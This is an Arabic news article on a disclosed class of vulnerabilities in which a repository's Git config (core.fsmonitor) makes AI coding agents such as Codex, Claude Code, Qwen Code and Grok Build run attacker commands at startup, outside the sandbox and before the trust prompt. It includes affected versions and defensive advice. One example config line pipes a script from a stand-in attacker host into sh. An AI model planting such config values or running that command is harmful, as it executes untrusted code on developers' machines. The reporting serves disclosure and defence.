كشفت شركة Manifold Security عن ثماني ثغرات أمنية في سبعة وكلاء برمجة بالذكاء الاصطناعي تعمل عبر سطر الأوامر، تشترك كلها في نمط واحد: إعدادات Git الخاصة بالمستودع نفسه تسمّي أمرًا، والوكيل يشغّله على جهاز المطوّر. أربع منها كانت لا تزال دون إصلاح عند النشر، بحسب The Hacker News.
يُنفَّذ الأمر بهوية المستخدم، خارج الصندوق الرملي للوكيل، ودون أي طلب موافقة. الشرط الوحيد: أن يصل المستودع كملفات مع مجلد .git سليم — وهو ما يحفظه أرشيف مشترك أو قرص شبكي أو مجلد مزامنة أو ذاكرة USB، بينما لا يحفظه الاستنساخ العادي بـ git clone.
الآلية: core.fsmonitor
core.fsmonitor إعداد أداء في Git قيمته أمر يشغّله Git لتحديد الملفات المتغيرة، ويقرؤه Git من .git/config الخاص بالمستودع. أي عملية تحدّث الفهرس — بما فيها git status وgit diff — تنفّذ هذا الأمر. الوكلاء يستدعون هذه الأوامر في الخلفية عند بدء الجلسة لمعرفة الفرع الحالي والملفات المتغيرة، تاركين إعدادات المستودع كما هي.
[core]
fsmonitor = "curl -s https://attacker.example/x | sh" # يعمل عند أول git status«الثغرة ليست في النموذج، ولا في أي شيء جديد. إنها في السباكة العادية تحته: العملية الفرعية التي يطلقها الوكيل عند بدء الجلسة ليعرف أين هو.» — Manifold Security
التوقيت هو ما يجعل الأمر خطيرًا: في Claude Code وHermes Agent تُطلق الحمولة قبل قبول نافذة الثقة بالمساحة؛ في Qwen Code قبل أن يسجّل المستخدم دخوله؛ وفي Grok Build عند أول ضغطة مفتاح.
الوكلاء المتأثرون
الوكيل | الإصدارات المتأثرة | الحالة |
|---|---|---|
goose | قبل 1.44.0 | مُصلَح في 1.44.0 |
Codex CLI | 0.102.0 – 0.130.0 | مُصلَح في 0.131.0 |
Codex Desktop (macOS) | 260202.0859 – 26.513.31313 | مُصلَح في 26.519.22136 |
Codex Desktop (Windows) | 26.304.38 – 26.513.40821 | مُصلَح في 26.519.21041 |
Claude Code — مسار core.fsmonitor | مؤكَّد على 2.1.193 | مُصلَح في 2.1.196 |
Claude Code — مسار claude ultrareview | مؤكَّد على 2.1.252 | لا يزال قائمًا |
Hermes Agent | 0.18.2 و0.21.0 | الإصلاح معلّق |
Qwen Code | 0.19.6 و0.22.3 | الإصلاح معلّق |
Grok Build | 0.2.93 و1.0.13 | الإصلاح معلّق |
نشرت OpenAI في اليوم نفسه ثلاث ثغرات CVE خاصة بها تغطي الفئة نفسها في Codex، منسوبة إلى ثلاث مجموعات بحث مستقلة. وفي سجل CVE-2026-19592 كتبت: «يعمل المساعد خارج الصندوق الرملي لأوامر Codex ودون طلب موافقة المستخدم، ما يسمح لشفرة يتحكم بها المهاجم بالعمل بصلاحيات المستخدم».
مشكلة تعود
ما يلفت في القصة أنها ليست جديدة. أبلغت Sonar عن نقطة الضعف نفسها في أبريل، ولاحظت أن Anthropic كانت قد نقلت تسلسل البدء مرة لسدّها (الإصدار 2.0.34 في نوفمبر 2025 توقف عن تشغيل git status قبل نافذة الثقة) — ثم عاد السلوك نفسه في 2.1.193 الصادر في يونيو 2026. وحدّدت Sonar تجاوز نافذة الثقة ذاته في Visual Studio Code قبل 1.63.1 (CVE-2021-43891) وفي JetBrains قبل 2021.3.1 (CVE-2022-24346). الدرس واضح: بيئات التطوير تعيد اكتشاف الخطأ نفسه كل بضع سنوات.
خمسة من تقارير Manifold عادت باعتبارها مكررة لنتائج أبلغ عنها باحثون آخرون بشكل مستقل — أحدها في اليوم نفسه. أُصلح مسار core.fsmonitor في Claude Code خلال ثلاثة أيام، لكن Anthropic لم تنشر تنبيهًا له، وأكد The Hacker News في 2 سبتمبر أن سجل التنبيهات المنشور للحزمة لا يغطي أيًا من النتيجتين. المسار الثاني، عبر claude ultrareview، يعتمد على مفتاح إعداد Git مختلف حجبته Manifold، وكان لا يزال قائمًا في 2.1.252 مقابل الإصدار الحالي 2.1.258.
ماذا تفعل؟
- حدّث goose وCodex وClaude Code إلى الإصدارات المُصلَحة فورًا؛ وراقب إصدارات Hermes وQwen Code وGrok Build.
- لا تفتح مستودعات وصلتك كملفات (أرشيف، USB، مجلد مشترك) بوكيل ذكاء اصطناعي قبل فحص
.git/config:git config --file .git/config --listوابحث عنfsmonitorوأي قيمة تحتوي أمرًا. - استنسخ بدل النسخ:
git cloneمن مصدر موثوق لا ينقل إعدادات المستودع، بينما نسخ المجلد ينقلها. - قيّد الوكلاء بصلاحيات أقل: شغّلها في حاوية أو مساحة عمل معزولة بلا وصول إلى مفاتيح SSH ورموز السحابة — المبدأ نفسه الذي ناقشناه في تحليلنا عن صلاحيات الوكلاء.
- للفرق: أضف فحصًا في خط CI يرفض أي مستودع يحتوي
.git/configبمفاتيح تنفيذية (fsmonitor،sshCommand،pager،editor، وما شابه).





